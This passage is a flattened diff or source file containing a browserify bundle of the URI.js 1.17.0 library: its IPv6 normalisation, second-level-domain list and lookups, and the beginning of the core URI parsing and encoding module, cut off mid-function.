n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){ +/*! + * URI.js - Mutating URLs + * IPv6 Support + * + * Version: 1.17.0 + * + * Author: Rodney Rehm + * Web: http://medialize.github.io/URI.js/ + * + * Licensed under + * MIT License http://www.opensource.org/licenses/mit-license + * GPL v3 http://opensource.org/licenses/GPL-3.0 + * + */ + +(function (root, factory) { + 'use strict'; + // https://github.com/umdjs/umd/blob/master/returnExports.js + if (typeof exports === 'object') { + // Node + module.exports = factory(); + } else if (typeof define === 'function' && define.amd) { + // AMD. Register as an anonymous module. + define(factory); + } else { + // Browser globals (root is window) + root.IPv6 = factory(root); + } +}(this, function (root) { + 'use strict'; + + /* + var _in = "fe80:0000:0000:0000:0204:61ff:fe9d:f156"; + var _out = IPv6.best(_in); + var _expected = "fe80::204:61ff:fe9d:f156"; + + console.log(_in, _out, _expected, _out === _expected); + */ + + // save current IPv6 variable, if any + var _IPv6 = root && root.IPv6; + + function bestPresentation(address) { + // based on: + // Javascript to test an IPv6 address for proper format, and to + // present the "best text representation" according to IETF Draft RFC at + // http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04 + // 8 Feb 2010 Rich Brown, Dartware, LLC + // Please feel free to use this code as long as you provide a link to + // http://www.intermapper.com + // http://intermapper.com/support/tools/IPV6-Validator.aspx + // http://download.dartware.com/thirdparty/ipv6validator.js + + var _address = address.toLowerCase(); + var segments = _address.split(':'); + var length = segments.length; + var total = 8; + + // trim colons (:: or ::a:b:c… or …a:b:c::) + if (segments[0] === '' && segments[1] === '' && segments[2] === '') { + // must have been :: + // remove first two items + segments.shift(); + segments.shift(); + } else if (segments[0] === '' && segments[1] === '') { + // must have been ::xxxx + // remove the first item + segments.shift(); + } else if (segments[length - 1] === '' && segments[length - 2] === '') { + // must have been xxxx:: + segments.pop(); + } + + length = segments.length; + + // adjust total segments for IPv4 trailer + if (segments[length - 1].indexOf('.') !== -1) { + // found a "." which means IPv4 + total = 7; + } + + // fill empty segments them with "0000" + var pos; + for (pos = 0; pos < length; pos++) { + if (segments[pos] === '') { + break; + } + } + + if (pos < total) { + segments.splice(pos, 1, '0000'); + while (segments.length < total) { + segments.splice(pos, 0, '0000'); + } + + length = segments.length; + } + + // strip leading zeros + var _segments; + for (var i = 0; i < total; i++) { + _segments = segments[i].split(''); + for (var j = 0; j < 3 ; j++) { + if (_segments[0] === '0' && _segments.length > 1) { + _segments.splice(0,1); + } else { + break; + } + } + + segments[i] = _segments.join(''); + } + + // find longest sequence of zeroes and coalesce them into one segment + var best = -1; + var _best = 0; + var _current = 0; + var current = -1; + var inzeroes = false; + // i; already declared + + for (i = 0; i < total; i++) { + if (inzeroes) { + if (segments[i] === '0') { + _current += 1; + } else { + inzeroes = false; + if (_current > _best) { + best = current; + _best = _current; + } + } + } else { + if (segments[i] === '0') { + inzeroes = true; + current = i; + _current = 1; + } + } + } + + if (_current > _best) { + best = current; + _best = _current; + } + + if (_best > 1) { + segments.splice(best, _best, ''); + } + + length = segments.length; + + // assemble remaining segments + var result = ''; + if (segments[0] === '') { + result = ':'; + } + + for (i = 0; i < length; i++) { + result += segments[i]; + if (i === length - 1) { + break; + } + + result += ':'; + } + + if (segments[length - 1] === '') { + result += ':'; + } + + return result; + } + + function noConflict() { + /*jshint validthis: true */ + if (root.IPv6 === this) { + root.IPv6 = _IPv6; + } + + return this; + } + + return { + best: bestPresentation, + noConflict: noConflict + }; +})); + +},{}],2:[function(require,module,exports){ +/*! + * URI.js - Mutating URLs + * Second Level Domain (SLD) Support + * + * Version: 1.17.0 + * + * Author: Rodney Rehm + * Web: http://medialize.github.io/URI.js/ + * + * Licensed under + * MIT License http://www.opensource.org/licenses/mit-license + * GPL v3 http://opensource.org/licenses/GPL-3.0 + * + */ + +(function (root, factory) { + 'use strict'; + // https://github.com/umdjs/umd/blob/master/returnExports.js + if (typeof exports === 'object') { + // Node + module.exports = factory(); + } else if (typeof define === 'function' && define.amd) { + // AMD. Register as an anonymous module. + define(factory); + } else { + // Browser globals (root is window) + root.SecondLevelDomains = factory(root); + } +}(this, function (root) { + 'use strict'; + + // save current SecondLevelDomains variable, if any + var _SecondLevelDomains = root && root.SecondLevelDomains; + + var SLD = { + // list of known Second Level Domains + // converted list of SLDs from https://github.com/gavingmiller/second-level-domains + // ---- + // publicsuffix.org is more current and actually used by a couple of browsers internally. + // downside is it also contains domains like "dyndns.org" - which is fine for the security + // issues browser have to deal with (SOP for cookies, etc) - but is way overboard for URI.js + // ---- + list: { + 'ac':' com gov mil net org ', + 'ae':' ac co gov mil name net org pro sch ', + 'af':' com edu gov net org ', + 'al':' com edu gov mil net org ', + 'ao':' co ed gv it og pb ', + 'ar':' com edu gob gov int mil net org tur ', + 'at':' ac co gv or ', + 'au':' asn com csiro edu gov id net org ', + 'ba':' co com edu gov mil net org rs unbi unmo unsa untz unze ', + 'bb':' biz co com edu gov info net org store tv ', + 'bh':' biz cc com edu gov info net org ', + 'bn':' com edu gov net org ', + 'bo':' com edu gob gov int mil net org tv ', + 'br':' adm adv agr am arq art ato b bio blog bmd cim cng cnt com coop ecn edu eng esp etc eti far flog fm fnd fot fst g12 ggf gov imb ind inf jor jus lel mat med mil mus net nom not ntr odo org ppg pro psc psi qsl rec slg srv tmp trd tur tv vet vlog wiki zlg ', + 'bs':' com edu gov net org ', + 'bz':' du et om ov rg ', + 'ca':' ab bc mb nb nf nl ns nt nu on pe qc sk yk ', + 'ck':' biz co edu gen gov info net org ', + 'cn':' ac ah bj com cq edu fj gd gov gs gx gz ha hb he hi hl hn jl js jx ln mil net nm nx org qh sc sd sh sn sx tj tw xj xz yn zj ', + 'co':' com edu gov mil net nom org ', + 'cr':' ac c co ed fi go or sa ', + 'cy':' ac biz com ekloges gov ltd name net org parliament press pro tm ', + 'do':' art com edu gob gov mil net org sld web ', + 'dz':' art asso com edu gov net org pol ', + 'ec':' com edu fin gov info med mil net org pro ', + 'eg':' com edu eun gov mil name net org sci ', + 'er':' com edu gov ind mil net org rochest w ', + 'es':' com edu gob nom org ', + 'et':' biz com edu gov info name net org ', + 'fj':' ac biz com info mil name net org pro ', + 'fk':' ac co gov net nom org ', + 'fr':' asso com f gouv nom prd presse tm ', + 'gg':' co net org ', + 'gh':' com edu gov mil org ', + 'gn':' ac com gov net org ', + 'gr':' com edu gov mil net org ', + 'gt':' com edu gob ind mil net org ', + 'gu':' com edu gov net org ', + 'hk':' com edu gov idv net org ', + 'hu':' 2000 agrar bolt casino city co erotica erotika film forum games hotel info ingatlan jogasz konyvelo lakas media news org priv reklam sex shop sport suli szex tm tozsde utazas video ', + 'id':' ac co go mil net or sch web ', + 'il':' ac co gov idf k12 muni net org ', + 'in':' ac co edu ernet firm gen gov i ind mil net nic org res ', + 'iq':' com edu gov i mil net org ', + 'ir':' ac co dnssec gov i id net org sch ', + 'it':' edu gov ', + 'je':' co net org ', + 'jo':' com edu gov mil name net org sch ', + 'jp':' ac ad co ed go gr lg ne or ', + 'ke':' ac co go info me mobi ne or sc ', + 'kh':' com edu gov mil net org per ', + 'ki':' biz com de edu gov info mob net org tel ', + 'km':' asso com coop edu gouv k medecin mil nom notaires pharmaciens presse tm veterinaire ', + 'kn':' edu gov net org ', + 'kr':' ac busan chungbuk chungnam co daegu daejeon es gangwon go gwangju gyeongbuk gyeonggi gyeongnam hs incheon jeju jeonbuk jeonnam k kg mil ms ne or pe re sc seoul ulsan ', + 'kw':' com edu gov net org ', + 'ky':' com edu gov net org ', + 'kz':' com edu gov mil net org ', + 'lb':' com edu gov net org ', + 'lk':' assn com edu gov grp hotel int ltd net ngo org sch soc web ', + 'lr':' com edu gov net org ', + 'lv':' asn com conf edu gov id mil net org ', + 'ly':' com edu gov id med net org plc sch ', + 'ma':' ac co gov m net org press ', + 'mc':' asso tm ', + 'me':' ac co edu gov its net org priv ', + 'mg':' com edu gov mil nom org prd tm ', + 'mk':' com edu gov inf name net org pro ', + 'ml':' com edu gov net org presse ', + 'mn':' edu gov org ', + 'mo':' com edu gov net org ', + 'mt':' com edu gov net org ', + 'mv':' aero biz com coop edu gov info int mil museum name net org pro ', + 'mw':' ac co com coop edu gov int museum net org ', + 'mx':' com edu gob net org ', + 'my':' com edu gov mil name net org sch ', + 'nf':' arts com firm info net other per rec store web ', + 'ng':' biz com edu gov mil mobi name net org sch ', + 'ni':' ac co com edu gob mil net nom org ', + 'np':' com edu gov mil net org ', + 'nr':' biz com edu gov info net org ', + 'om':' ac biz co com edu gov med mil museum net org pro sch ', + 'pe':' com edu gob mil net nom org sld ', + 'ph':' com edu gov i mil net ngo org ', + 'pk':' biz com edu fam gob gok gon gop gos gov net org web ', + 'pl':' art bialystok biz com edu gda gdansk gorzow gov info katowice krakow lodz lublin mil net ngo olsztyn org poznan pwr radom slupsk szczecin torun warszawa waw wroc wroclaw zgora ', + 'pr':' ac biz com edu est gov info isla name net org pro prof ', + 'ps':' com edu gov net org plo sec ', + 'pw':' belau co ed go ne or ', + 'ro':' arts com firm info nom nt org rec store tm www ', + 'rs':' ac co edu gov in org ', + 'sb':' com edu gov net org ', + 'sc':' com edu gov net org ', + 'sh':' co com edu gov net nom org ', + 'sl':' com edu gov net org ', + 'st':' co com consulado edu embaixada gov mil net org principe saotome store ', + 'sv':' com edu gob org red ', + 'sz':' ac co org ', + 'tr':' av bbs bel biz com dr edu gen gov info k12 name net org pol tel tsk tv web ', + 'tt':' aero biz cat co com coop edu gov info int jobs mil mobi museum name net org pro tel travel ', + 'tw':' club com ebiz edu game gov idv mil net org ', + 'mu':' ac co com gov net or org ', + 'mz':' ac co edu gov org ', + 'na':' co com ', + 'nz':' ac co cri geek gen govt health iwi maori mil net org parliament school ', + 'pa':' abo ac com edu gob ing med net nom org sld ', + 'pt':' com edu gov int net nome org publ ', + 'py':' com edu gov mil net org ', + 'qa':' com edu gov mil net org ', + 're':' asso com nom ', + 'ru':' ac adygeya altai amur arkhangelsk astrakhan bashkiria belgorod bir bryansk buryatia cbg chel chelyabinsk chita chukotka chuvashia com dagestan e-burg edu gov grozny int irkutsk ivanovo izhevsk jar joshkar-ola kalmykia kaluga kamchatka karelia kazan kchr kemerovo khabarovsk khakassia khv kirov koenig komi kostroma kranoyarsk kuban kurgan kursk lipetsk magadan mari mari-el marine mil mordovia mosreg msk murmansk nalchik net nnov nov novosibirsk nsk omsk orenburg org oryol penza perm pp pskov ptz rnd ryazan sakhalin samara saratov simbirsk smolensk spb stavropol stv surgut tambov tatarstan tom tomsk tsaritsyn tsk tula tuva tver tyumen udm udmurtia ulan-ude vladikavkaz vladimir vladivostok volgograd vologda voronezh vrn vyatka yakutia yamal yekaterinburg yuzhno-sakhalinsk ', + 'rw':' ac co com edu gouv gov int mil net ', + 'sa':' com edu gov med net org pub sch ', + 'sd':' com edu gov info med net org tv ', + 'se':' a ac b bd c d e f g h i k l m n o org p parti pp press r s t tm u w x y z ', + 'sg':' com edu gov idn net org per ', + 'sn':' art com edu gouv org perso univ ', + 'sy':' com edu gov mil net news org ', + 'th':' ac co go in mi net or ', + 'tj':' ac biz co com edu go gov info int mil name net nic org test web ', + 'tn':' agrinet com defense edunet ens fin gov ind info intl mincom nat net org perso rnrt rns rnu tourism ', + 'tz':' ac co go ne or ', + 'ua':' biz cherkassy chernigov chernovtsy ck cn co com crimea cv dn dnepropetrovsk donetsk dp edu gov if in ivano-frankivsk kh kharkov kherson khmelnitskiy kiev kirovograd km kr ks kv lg lugansk lutsk lviv me mk net nikolaev od odessa org pl poltava pp rovno rv sebastopol sumy te ternopil uzhgorod vinnica vn zaporizhzhe zhitomir zp zt ', + 'ug':' ac co go ne or org sc ', + 'uk':' ac bl british-library co cym gov govt icnet jet lea ltd me mil mod national-library-scotland nel net nhs nic nls org orgn parliament plc police sch scot soc ', + 'us':' dni fed isa kids nsn ', + 'uy':' com edu gub mil net org ', + 've':' co com edu gob info mil net org web ', + 'vi':' co com k12 net org ', + 'vn':' ac biz com edu gov health info int name net org pro ', + 'ye':' co com gov ltd me net org plc ', + 'yu':' ac co edu gov org ', + 'za':' ac agric alt bourse city co cybernet db edu gov grondar iaccess imt inca landesign law mil net ngo nis nom olivetti org pix school tm web ', + 'zm':' ac co com edu gov net org sch ' + }, + // gorhill 2013-10-25: Using indexOf() instead Regexp(). Significant boost + // in both performance and memory footprint. No initialization required. + // http://jsperf.com/uri-js-sld-regex-vs-binary-search/4 + // Following methods use lastIndexOf() rather than array.split() in order + // to avoid any memory allocations. + has: function(domain) { + var tldOffset = domain.lastIndexOf('.'); + if (tldOffset <= 0 || tldOffset >= (domain.length-1)) { + return false; + } + var sldOffset = domain.lastIndexOf('.', tldOffset-1); + if (sldOffset <= 0 || sldOffset >= (tldOffset-1)) { + return false; + } + var sldList = SLD.list[domain.slice(tldOffset+1)]; + if (!sldList) { + return false; + } + return sldList.indexOf(' ' + domain.slice(sldOffset+1, tldOffset) + ' ') >= 0; + }, + is: function(domain) { + var tldOffset = domain.lastIndexOf('.'); + if (tldOffset <= 0 || tldOffset >= (domain.length-1)) { + return false; + } + var sldOffset = domain.lastIndexOf('.', tldOffset-1); + if (sldOffset >= 0) { + return false; + } + var sldList = SLD.list[domain.slice(tldOffset+1)]; + if (!sldList) { + return false; + } + return sldList.indexOf(' ' + domain.slice(0, tldOffset) + ' ') >= 0; + }, + get: function(domain) { + var tldOffset = domain.lastIndexOf('.'); + if (tldOffset <= 0 || tldOffset >= (domain.length-1)) { + return null; + } + var sldOffset = domain.lastIndexOf('.', tldOffset-1); + if (sldOffset <= 0 || sldOffset >= (tldOffset-1)) { + return null; + } + var sldList = SLD.list[domain.slice(tldOffset+1)]; + if (!sldList) { + return null; + } + if (sldList.indexOf(' ' + domain.slice(sldOffset+1, tldOffset) + ' ') < 0) { + return null; + } + return domain.slice(sldOffset+1); + }, + noConflict: function(){ + if (root.SecondLevelDomains === this) { + root.SecondLevelDomains = _SecondLevelDomains; + } + return this; + } + }; + + return SLD; +})); + +},{}],3:[function(require,module,exports){ +/*! + * URI.js - Mutating URLs + * + * Version: 1.17.0 + * + * Author: Rodney Rehm + * Web: http://medialize.github.io/URI.js/ + * + * Licensed under + * MIT License http://www.opensource.org/licenses/mit-license + * GPL v3 http://opensource.org/licenses/GPL-3.0 + * + */ +(function (root, factory) { + 'use strict'; + // https://github.com/umdjs/umd/blob/master/returnExports.js + if (typeof exports === 'object') { + // Node + module.exports = factory(require('./punycode'), require('./IPv6'), require('./SecondLevelDomains')); + } else if (typeof define === 'function' && define.amd) { + // AMD. Register as an anonymous module. + define(['./punycode', './IPv6', './SecondLevelDomains'], factory); + } else { + // Browser globals (root is window) + root.URI = factory(root.punycode, root.IPv6, root.SecondLevelDomains, root); + } +}(this, function (punycode, IPv6, SLD, root) { + 'use strict'; + /*global location, escape, unescape */ + // FIXME: v2.0.0 renamce non-camelCase properties to uppercase + /*jshint camelcase: false */ + + // save current URI variable, if any + var _URI = root && root.URI; + + function URI(url, base) { + var _urlSupplied = arguments.length >= 1; + var _baseSupplied = arguments.length >= 2; + + // Allow instantiation without the 'new' keyword + if (!(this instanceof URI)) { + if (_urlSupplied) { + if (_baseSupplied) { + return new URI(url, base); + } + + return new URI(url); + } + + return new URI(); + } + + if (url === undefined) { + if (_urlSupplied) { + throw new TypeError('undefined is not a valid argument for URI'); + } + + if (typeof location !== 'undefined') { + url = location.href + ''; + } else { + url = ''; + } + } + + this.href(url); + + // resolve to base according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#constructor + if (base !== undefined) { + return this.absoluteTo(base); + } + + return this; + } + + URI.version = '1.17.0'; + + var p = URI.prototype; + var hasOwn = Object.prototype.hasOwnProperty; + + function escapeRegEx(string) { + // https://github.com/medialize/URI.js/commit/85ac21783c11f8ccab06106dba9735a31a86924d#commitcomment-821963 + return string.replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1'); + } + + function getType(value) { + // IE8 doesn't return [Object Undefined] but [Object Object] for undefined value + if (value === undefined) { + return 'Undefined'; + } + + return String(Object.prototype.toString.call(value)).slice(8, -1); + } + + function isArray(obj) { + return getType(obj) === 'Array'; + } + + function filterArrayValues(data, value) { + var lookup = {}; + var i, length; + + if (getType(value) === 'RegExp') { + lookup = null; + } else if (isArray(value)) { + for (i = 0, length = value.length; i < length; i++) { + lookup[value[i]] = true; + } + } else { + lookup[value] = true; + } + + for (i = 0, length = data.length; i < length; i++) { + /*jshint laxbreak: true */ + var _match = lookup && lookup[data[i]] !== undefined + || !lookup && value.test(data[i]); + /*jshint laxbreak: false */ + if (_match) { + data.splice(i, 1); + length--; + i--; + } + } + + return data; + } + + function arrayContains(list, value) { + var i, length; + + // value may be string, number, array, regexp + if (isArray(value)) { + // Note: this can be optimized to O(n) (instead of current O(m * n)) + for (i = 0, length = value.length; i < length; i++) { + if (!arrayContains(list, value[i])) { + return false; + } + } + + return true; + } + + var _type = getType(value); + for (i = 0, length = list.length; i < length; i++) { + if (_type === 'RegExp') { + if (typeof list[i] === 'string' && list[i].match(value)) { + return true; + } + } else if (list[i] === value) { + return true; + } + } + + return false; + } + + function arraysEqual(one, two) { + if (!isArray(one) || !isArray(two)) { + return false; + } + + // arrays can't be equal if they have different amount of content + if (one.length !== two.length) { + return false; + } + + one.sort(); + two.sort(); + + for (var i = 0, l = one.length; i < l; i++) { + if (one[i] !== two[i]) { + return false; + } + } + + return true; + } + + function trimSlashes(text) { + var trim_expression = /^\/+|\/+$/g; + return text.replace(trim_expression, ''); + } + + URI._parts = function() { + return { + protocol: null, + username: null, + password: null, + hostname: null, + urn: null, + port: null, + path: null, + query: null, + fragment: null, + // state + duplicateQueryParameters: URI.duplicateQueryParameters, + escapeQuerySpace: URI.escapeQuerySpace + }; + }; + // state: allow duplicate query parameters (a=1&a=1) + URI.duplicateQueryParameters = false; + // state: replaces + with %20 (space in query strings) + URI.escapeQuerySpace = true; + // static properties + URI.protocol_expression = /^[a-z][a-z0-9.+-]*$/i; + URI.idn_expression = /[^a-z0-9\.-]/i; + URI.punycode_expression = /(xn--)/i; + // well, 333.444.555.666 matches, but it sure ain't no IPv4 - do we care? + URI.ip4_expression = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + // credits to Rich Brown + // source: http://forums.intermapper.com/viewtopic.php?p=1096#1096 + // specification: http://www.ietf.org/rfc/rfc4291.txt + URI.ip6_expression = /^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$/; + // expression used is "gruber revised" (@gruber v2) determined to be the + // best solution in a regex-golf we did a couple of ages ago at + // * http://mathiasbynens.be/demo/url-regex + // * http://rodneyrehm.de/t/url-regex.html + URI.find_uri_expression = /\b((?:[a-z][\w-]+:(?:\/{1,3}|[a-z0-9%])|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}\/)(?:[^\s()<>]+|\(([^\s()<>]+|(\([^\s()<>]+\)))*\))+(?:\(([^\s()<>]+|(\([^\s()<>]+\)))*\)|[^\s`!()\[\]{};:'".,<>?«»“â€â€˜â€™]))/ig; + URI.findUri = { + // valid "scheme://" or "www." + start: /\b(?:([a-z][a-z0-9.+-]*:\/\/)|www\.)/gi, + // everything up to the next whitespace + end: /[\s\r\n]|$/, + // trim trailing punctuation captured by end RegExp + trim: /[`!()\[\]{};:'".,<>?«»“â€â€žâ€˜â€™]+$/ + }; + // http://www.iana.org/assignments/uri-schemes.html + // http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers#Well-known_ports + URI.defaultPorts = { + http: '80', + https: '443', + ftp: '21', + gopher: '70', + ws: '80', + wss: '443' + }; + // allowed hostname characters according to RFC 3986 + // ALPHA DIGIT "-" "." "_" "~" "!" "$" "&" "'" "(" ")" "*" "+" "," ";" "=" %encoded + // I've never seen a (non-IDN) hostname other than: ALPHA DIGIT . - + URI.invalid_hostname_characters = /[^a-zA-Z0-9\.-]/; + // map DOM Elements to their URI attribute + URI.domAttributes = { + 'a': 'href', + 'blockquote': 'cite', + 'link': 'href', + 'base': 'href', + 'script': 'src', + 'form': 'action', + 'img': 'src', + 'area': 'href', + 'iframe': 'src', + 'embed': 'src', + 'source': 'src', + 'track': 'src', + 'input': 'src', // but only if type="image" + 'audio': 'src', + 'video': 'src' + }; + URI.getDomAttribute = function(node) { + if (!node || !node.nodeName) { + return undefined; + } + + var nodeName = node.nodeName.toLowerCase(); + // <input> should only expose src for type="image" + if (nodeName === 'input' && node.type !== 'image') { + return undefined; + } + + return URI.domAttributes[nodeName]; + }; + + function escapeForDumbFirefox36(value) { + // https://github.com/medialize/URI.js/issues/91 + return escape(value); + } + + // encoding / decoding according to RFC3986 + function strictEncodeURIComponent(string) { + // see https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/encodeURIComponent + return encodeURIComponent(string) + .replace(/[!'()*]/g, escapeForDumbFirefox36) + .replace(/\*/g, '%2A'); + } + URI.encode = strictEncodeURIComponent; + URI.decode = decodeURIComponent; + URI.iso8859 = function() { + URI.encode = escape; + URI.decode = unescape; + }; + URI.unicode = function() { + URI.encode = strictEncodeURIComponent; + URI.decode = decodeURIComponent; + }; + URI.characters = { + pathname: { + encode: { + // RFC3986 2.1: For consistency, URI producers and normalizers should + // use uppercase hexadecimal digits for all percent-encodings. + expression: /%(24|26|2B|2C|3B|3D|3A|40)/ig, + map: { + // -._~!'()* + '%24': '$', + '%26': '&', + '%2B': '+', + '%2C': ',', + '%3B': ';', + '%3D': '=', + '%3A': ':', + '%40': '@' + } + }, + decode: { + expression: /[\/\?#]/g, + map: { + '/': '%2F', + '?': '%3F', + '#': '%23' + } + } + }, + reserved: { + encode: { + // RFC3986 2.1: For consistency, URI producers and normalizers should + // use uppercase hexadecimal digits for all percent-encodings. + expression: /%(21|23|24|26|27|28|29|2A|2B|2C|2F|3A|3B|3D|3F|40|5B|5D)/ig, + map: { + // gen-delims + '%3A': ':', + '%2F': '/', + '%3F': '?', + '%23': '#', + '%5B': '[', + '%5D': ']', + '%40': '@', + // sub-delims + '%21': '!', + '%24': '$', + '%26': '&', + '%27': '\'', + '%28': '(', + '%29': ')', + '%2A': '*', + '%2B': '+', + '%2C': ',', + '%3B': ';', + '%3D': '=' + } + } + }, + urnpath: { + // The characters under `encode` are the characters called out by RFC 2141 as being acceptable + // for usage in a URN. RFC2141 also calls out "-", ".", and "_" as acceptable characters, but + // these aren't encoded by encodeURIComponent, so we don't have to call them out here. Also + // note that the colon character is not featured in the encoding map; this is because URI.js + // gives the colons in URNs semantic meaning as the delimiters of path segements, and so it + // should not appear unencoded in a segment itself. + // See also the note above about RFC3986 and capitalalized hex digits. + encode: { + expression: /%(21|24|27|28|29|2A|2B|2C|3B|3D|40)/ig, + map: { + '%21': '!', + '%24': '$', + '%27': '\'', + '%28': '(', + '%29': ')', + '%2A': '*', + '%2B': '+', + '%2C': ',', + '%3B': ';', + '%3D': '=', + '%40': '@' + } + }, + // These characters are the characters called out by RFC2141 as "reserved" characters that + // should never appear in a URN, plus the colon character (see note above). + decode: { + expression: /[\/\?#:]/g, + map: { + '/': '%2F', + '?': '%3F', + '#': '%23', + ':': '%3A' + } + } + } + }; + URI.encodeQuery = function(string, escapeQuerySpace) { + var escaped = URI.encode(string + ''); + if (escapeQuerySpace === undefined) { + escapeQuerySpace = URI.escapeQuerySpace; + } + + return escapeQuerySpace ? escaped.replace(/%20/g, '+') : escaped; + }; + URI.decodeQuery = function(string, escapeQuerySpace) { + string += ''; + if (escapeQuerySpace === undefined) { + escapeQuerySpace = URI.escapeQuerySpace; + } + + try { + return URI.decode(escapeQuerySpace ? string.replace(/\+/g, '%20') : string); + } catch(e) { + // we're not going to mess with weird encodings, + // give up and return the undecoded original string + // see https://github.com/medialize/URI.js/issues/87 + // see https://github.com/medialize/URI.js/issues/92 + return string; + } + }; + // generate encode/decode path functions + var _parts = {'encode':'encode', 'decode':'decode'}; + var _part; + var generateAccessor = function(_group, _part) { + return function(string) { + try { + return URI[_part](string + '').replace(URI.characters[_group][_part].expression, function(c) { + return URI.characters[_group][_part].map[c]; + }); + } catch (e) { + // we're not going to mess with weird encodings, + // give up and return the undecoded original string + // see https://github.com/medialize/URI.js/issues/87 + // see https://github.com/medialize/URI.js/issues/92 + return string; + } + }; + }; + + for (_part in _parts) { + URI[_part + 'PathSegment'] = generateAccessor('pathname', _parts[_part]); + URI[_part + 'UrnPathSegment'] = generateAccessor('urnpath', _parts[_part]); + } + + var generateSegmentedPathFunction = function(_sep, _codingFuncName, _innerCodingFuncName) { + return function(string) { + // Why pass in names of functions, rather than the function objects themselves? The + // definitions of some functions (but in particular, URI.decode) will occasionally change due + // to URI.js having ISO8859 and Unicode modes. Passing in the name and getting it will ensure + // that the functions we use here are "fresh". + var actualCodingFunc; + if (!_innerCodingFuncName) { + actualCodingFunc = URI[_codingFuncName]; + } else { + actualCodingFunc = function(string) { + return URI[_codingFuncName](URI[_innerCodingFuncName](string)); + }; + } + + var segments = (string + '').split(_sep); + + for (var i = 0, length = segments.length; i < length; i++) { + segments[i] = actualCodingFunc(segments[i]); + } + + return segments.join(_sep); + }; + }; + + // This takes place outside the above loop because we don't want, e.g., encodeUrnPath functions. + URI.decodePath = generateSegmentedPathFunction('/', 'decodePathSegment'); + URI.decodeUrnPath = generateSegmentedPathFunction(':', 'decodeUrnPathSegment'); + URI.recodePath = generateSegmentedPathFunction('/', 'encodePathSegment', 'decode'); + URI.recodeUrnPath = generateSegmentedPathFunction(':', 'encodeUrnPathSegment', 'decode'); + + URI.encodeReserved = generateAccessor('reserved', 'encode'); + + URI.parse = function(string, parts) { + var pos; + if (!parts) { + parts = {}; + } + // [protocol"://"[username[":"password]"@"]hostname[":"port]"/"?][path]["?"querystring]["#"fragment] + + // extract fragment + pos = string.indexOf('#'); + if (pos > -1) { + // escaping? + parts.fragment = string.substring(pos + 1) || null; + string = string.substring(0, pos); + } + + // extract query + pos = string.indexOf('?'); + if (pos > -1) { + // escaping? + parts.query = string.substring(pos + 1) || null; + string = string.substring(0, pos); + } + + // extract protocol + if (string.substring(0, 2) === '//') { + // relative-scheme + parts.protocol = null; + string = string.substring(2); + // extract "user:pass@host:port" + string = URI.parseAuthority(string, parts); + } else { + pos = string.indexOf(':'); + if (pos > -1) { + parts.protocol = string.substring(0, pos) || null; + if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) { + // : may be within the path + parts.protocol = undefined; + } else if (string.substring(pos + 1, pos + 3) === '//') { + string = string.substring(pos + 3); + + // extract "user:pass@host:port" + string = URI.parseAuthority(string, parts); + } else { + string = string.substring(pos + 1); + parts.urn = true; + } + } + } + + // what's left must be the path + parts.path = string; + + // and we're done + return parts; + }; + URI.parseHost = function(string, parts) { + // Copy chrome, IE, opera backslash-handling behavior. + // Back slashes before the query string get converted to forward slashes + // See: https://github.com/joyent/node/blob/386fd24f49b0e9d1a8a076592a404168faeecc34/lib/url.js#L115-L124 + // See: https://code.google.com/p/chromium/issues/detail?id=25916 + // https://github.com/medialize/URI.js/pull/233 + string = string.replace(/\\/g, '/'); + + // extract host:port + var pos = string.indexOf('/'); + var bracketPos; + var t; + + if (pos === -1) { + pos = string.length; + } + + if (string.charAt(0) === '[') { + // IPv6 host - http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04#section-6 + // I claim most client software breaks on IPv6 anyways. To simplify things, URI only accepts + // IPv6+port in the format [2001:db8::1]:80 (for the time being) + bracketPos = string.indexOf(']'); + parts.hostname = string.substring(1, bracketPos) || null; + parts.port = string.substring(bracketPos + 2, pos) || null; + if (parts.port === '/') { + parts.port = null; + } + } else { + var firstColon = string.indexOf(':'); + var firstSlash = string.indexOf('/'); + var nextColon = string.indexOf(':', firstColon + 1); + if (nextColon !== -1 && (firstSlash === -1 || nextColon < firstSlash)) { + // 